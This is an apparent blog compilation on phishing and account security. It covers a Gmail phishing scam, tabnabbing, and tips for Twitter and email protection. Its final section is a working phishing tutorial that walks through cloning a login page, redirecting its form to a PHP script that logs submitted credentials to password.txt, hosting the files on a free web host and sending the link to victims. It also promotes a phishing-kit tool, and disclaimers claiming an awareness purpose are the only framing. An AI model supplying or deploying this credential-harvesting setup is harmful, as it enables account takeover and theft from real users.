SecurityHunk

Gmail is again hit by a new phishing scam, which is warned by the Security researchers from Sunbelt.This is almost similar to the old phishing scam that is using a spoof page(a.k.a fake page) along with the blend of social engineering inorder to fool the users.Dont know what is phishing visit here.

What is new about this scam?

As i mentioned earlier that it is almost similar to the old one but the only striking difference is that it has got an attachment along with a mail.The attacker has used the skills of social engineering to make the user believe that the mail is from the "GOOGLE" itself.Take a look at the mail below......

(Source:Sunbelt.blogspot.com)

The attach file is in Html format called as Gmail_access.html,which is a fake page of Gmail login page having  all the elements and graphics exactly similar to the original page.Take a look at the image below.

(Source:Sunbelt.blogspot.com)

How it Works?

Check the source code of the attachment(html file),use ctrl + f  to find "action=" use without quotes then u will find something different to that of the original page.

action="http://www.wtwener.com/e107_themes/serviceloginAuth.php"

which means when the user enter any values in the login field of the fake page(attachment) then it sends the values to a "serviceloginAuth.php" on an external domain for the attacker and the website under this domain is registered to someone in Sremska Kamenica, Serbia-said Tom Kelchner of sunbelt.

(Credits:sunbelt.blogspot.com)

In many of my post I have pointed out the concept of  "Phishing" in  Email hacking,where the attacker sends a fake/spoof  login page to the victim having manipulated the url to create some sort of illusion.Few months back "Aza Raskin" the Creative Lead  of Mozilla Firefox describes  a new form of  Phishing attack called "Tabnabbing" which manipulates the Tab browsing  of the users.

 What is Tabnabbing?

I feel  you can guess the work it does from its name,Tab means "the different windows attached to the same browser" and Nabbing means "to seize something forcefully".In the same way  for Tabnabbing ,when the user has opened up multiple tabs in the browser and after sometime comes back to one of the earlier opened tab then he/she finds that the content,title,favicon of that tab has changed to a login page of any email account or bank  login page....lol.Apart from  manipulating the tabs of the browser the attacker manipulates the memory of the victim because if the user does not remember what  website he/she had open in that tab then  he/she would login to that fake page thinking that it was open by him/her.....lol.

Check out the video to see the demo.



A New Type of Phishing Attack from Aza Raskin on Vimeo.

How does it works?

The main concept behind this is that  the attacker puts a Javascript in the pagesource code which waits for a certain period of delay and then  changes its favicon,title and content.It is more evil if it the script is intelligent enough which means it detect which sites the user visits normally and then accordingly switch to that site using tabnabbing.


Why is online banking is more vulnerable to this?

In online banking you must have noticed that  if you have logged in to the official page and left it idle for few minutes then it is automatically logged out.Due to this feature Tabnabbing is very  handy in attacking users of online banking beacause the users feel that  he/she would have logged in to the bank account and the session has expired.

CounterMeasures:
 I would recommend Mozilla Firefox browser for web access because it has many security addons which are very handy and easy to use.

1.WOT:Marks the websites with colour and warns the users.(Download)

2.NoScript:This addon protects from XSS,IFrames,ClickJacking,stops Javascript.(Download)

3.Safe:Makes SSL  and extended SSL moree visible to user.(Download)

4.Secure Login:It has a feature to enable or disable Javascript and manages the password manger of Mozilla.(Download)

5.PhishTankSiteChecker:It warns the user about a phish attack.(Download)

6.Close all the browser tabs and web based applications that uses browser cache when using online banking.

7. You can also use some Linux Live CD to access internet while using online banking.

Source:http://www.azarask.in/

If you find this post worthy  to read  do post a comment , it will be appreciated.

IF YOU FIND THIS BLOG WORTH READING THEN DO "VOTE" FOR IT........

In my last post I told how to protect your email account but few days back one of my friend asked me how to protect a twitter account so i have come up with this post.The twitter account can be hacked in different methods as under Email hacking.Once the twitter account is hacked it can hit badly to a person's online reputation and cause nightmare by twitting spam links on porn,unfriendly language and vulgar images.I will not make this post a stress to read rather i will prefer making it more pictorial.There are few things one need to follow from becoming fool in the hands of the attacker.Lets start.....

NOTE:Click on the images below inorder to view them clearly.

1.Inorder to avoid Phishing attack or fake login page sent by the attacker always login to your account by typing the login url in the browser as it may also contain some malicious script.





2.Make your tweets private ie. only the people whom you approve as your followers can see your updates.By doing this one can decrease the chance of being hacked by 50%, as the spammers will not be interested since your tweets are private but they look out for public display of tweets.Follow the steps in the image shown below.
3.Be careful while clicking any link in the direct message section as most of them are spams and malicious scripts to lure the user to click on them.You can expand the url  by using a firefox addon ie.DeTiny URL Expander or LongURL.org

A new feature has been added to twitter search(search.twitter.com) to expand an url as shown in the image below.

4.It is wise to link your phone number with your twitter account in device tab
by doing this one can retrieve his/her password incase the email and the account is compromised.

5.Always backup your tweets as it may hurt you once your account is hacked and the attacked has manipulated your tweets.There are few services that allow his feature are

-BackupmyTweets.

-TweetBackup.

-TweeTake.

-Twistory.

6.Always check the authenticity of the application that asks for twitter password before login to it.

7.Many times people forget that to how many applications they have provided the access to their account so,keep an eye on it.You can revoke the access of an application by clicking on the revoke link as shown in the image below.
8.Another very common thing is that one should always use an unique and difficult to guess password because it makes  difficult on part of the attacker to guess.

Follow these steps and i can guarantee that your account will be 90% protected.


If you find this post  worthy enough to read....then do drop drop a comment it will be appreciated.

Nowadays email have become very essential in bussiness transaction,sharing vital info and keeping contacts.So,when an email account get hacked or compromised it become complete nightmare on part of the innocent user to recover it back.Today i have come up with this article to let you all know about common email hacking methods that can be employed.If a person know in what way he/she can be fooled or can be put in a trap before hand then he/she can adapt some preventive measures to overcome it and in that way can omit or avoid that attack.A very important thing i want to let you all know that email account cannot be hacked solely by the attacker but in some way or other the attacker needs the help of the user,the sense of the word "help" means the user has to do some fault or unknowingly do some mistake like click on some link sent by the attacker.
So let start with common email hacking methods:

Learn how to Hack a Facebook Account One of the most successful Social engineering method of email hacking which employs spoof web pages or fake web pages inorder to fool the legitimate user.The attacker create pages which look excatly like the real one so, the user is fooled and login into it and in that process gives away his/her password to the attacker.
(See the complete procedure)

PREVENTION:
-Always type the complete url of the intended webpage fo login.
 -Use Anti-virus which has web browser integration facility to combat phishing like Bitdefender,Kaspersky.
-Never click a link in an email before verifing its authenticity.

2.RATS:
It is called the "Remote Administration Tools".It is a bit difficult process compared to phishing and its rate of success is also less.Nowadays one can find these tools installed hidden in the cybercafe so whenever you logging to your email account in a cybercafe do it at your own risk.These RATS can also be named as "password stealers".
 Learn how to do this with ease.

PREVENTION:
-Avoid using email account in cybercafe and follow the security tips I mentioned.
-Never save your password in the web browser or click the remember password option.
-Use an updated Anti-Virus if possible an internet security package.

3.KEYLOGGING:The attacker deploy a software or hardware keylogger and monitor all the keystrokes of the user.The software keylogger is binded with many torrent files and online downloads.
(See the complete procedure)

PREVENTION:
-Scan the file with "Dr.Web link checker" before downloading.
-Scan the file with online multiple anti-virus engine ie. www.novirusthanks.org
-One can use anti-keyloggers like ZEMANA,KEYSCRAMBLER etc

4.SOCIAL ENGINEERING:
"Forgot password attack" is a form of social engineering,here the attacker tries to guess the security question of the email account and in that way reset the password and put his/her own password and login into the account.Here the attacker tries to compromise the account by penetrating the human intelligence.Social engineering was popularize by hacker turned consultant KEVIN MITNICK.

PREVENTION:
-Always give a very personal and difficult security question.
-Always give a secondary email address in the email account.
-Never leak out your personal and private details to any stranger or a person you do not trust.

5.SIDEJACKING:
An attacker can use this method to access the user's account without even knowing the password.Here the attacker can capture the seesion cookies to login to the account.Recently the addon of firefox called Firesheep was on news for this type of attack and we posted a tutorial on it.

PREVENTION:
-SSH tunneling is a very good option to avoid this type of attack.
-Use a VPN when access internet from a public wifi hot spot.
-It is recommended not to access personal accounts through public wifi.

6.FROM THE MAIL SERVER:
This is a method where the attacker need to be very professional and he/she doesnot need the help of the user to crack into the account,the attacker penetrates the google server and retrieves the password for the corresponding username.

"Phishing" is an example of social engineering some what equivalent to "Fishing" lol ,in fishing fishes are fooled and trapped in net,same way in "Phishing" the user is fooled by sending fake login pages eventually the user fall in the trap of the hacker and end up giving away important data like credit card no ,email password,info on online money transaction... etc.Nowadays this method of hacking is very common because of its 70-80% success rate.It lags by 30-20% because its success entirely depends on the user to do the mistake and login to the intended fake page.Even when using server authentication ,it may require tremendous skill to detect that the website is fake.As mentioned above the relationship between fishing and phishing but it is somewhat variant whereas it is influenced by "Phreaking.
Now I am going to describe the complete procedure carried out to do this attack,before doing that i would like to mention that this is very useful in "Social Networking".This is an effort to make the user aware of this kind of threat when they are working online and stay safe rather trying it on others.(Disclaimer)

1.Inorder to carry out we need three things Fake.html,login.php,Password.txt

2.To make the Fake.html right click on the original page and left click on the view source and copy it (ctrl + c) then paste it in a text file or notepad and save it as .html extension.

3.Now open the Fake.html in wordpad or notepad and search (ctrl +f) for "action=",edit the original value and assign login.php ie. action="login.php" and method="GET".

4.As we are made with the Fake.html now we will go for login.php,in order to make it we need the code given below.(DOWNLOAD)




<br /> <?php header ('Location: http://www.original-site.com '); $handle = fopen("password.txt", "a"); foreach($_POST as $variable => $value) {<br /> fwrite($handle, $variable);<br /> fwrite($handle, "=");<br /> fwrite($handle, $value);<br /> fwrite($handle, "\r\n");<br /> }<br /> fwrite($handle, "===============\r\n");<br /> fclose($handle);<br /> exit;<br /> ?><br />

Note:header ('Location: http://www.original-site.com ') in the above code,the victim will be redirected to the site as mention in this so,the original site is to be assigned.

5.Now open up a account in a free web hosting with PHP enabled and having file transfer protocol(ftp) for example:www.t35.com

6.Now upload the above two file ie.Fake.html login.php to the web account and then the hacker sends the link which looks like http://www.your-accnt.t35.com/fake.html

7.When the victim login to that link then the username and password gets store in a file as mentioned in step:1 which is automatically created in the web account then it can be opened to see the password.

As the above mentioned method requires a lot of editing and code writing so a free tool called Super Phisher v1.0 comes very handy in carrying out all the work performed in step 2,3,4.It is freeware ,so it is available through any search engine.

Declaration:The author will not be held responsible for any illegal use of this article.This is only to aware the users the threats they are exposed to.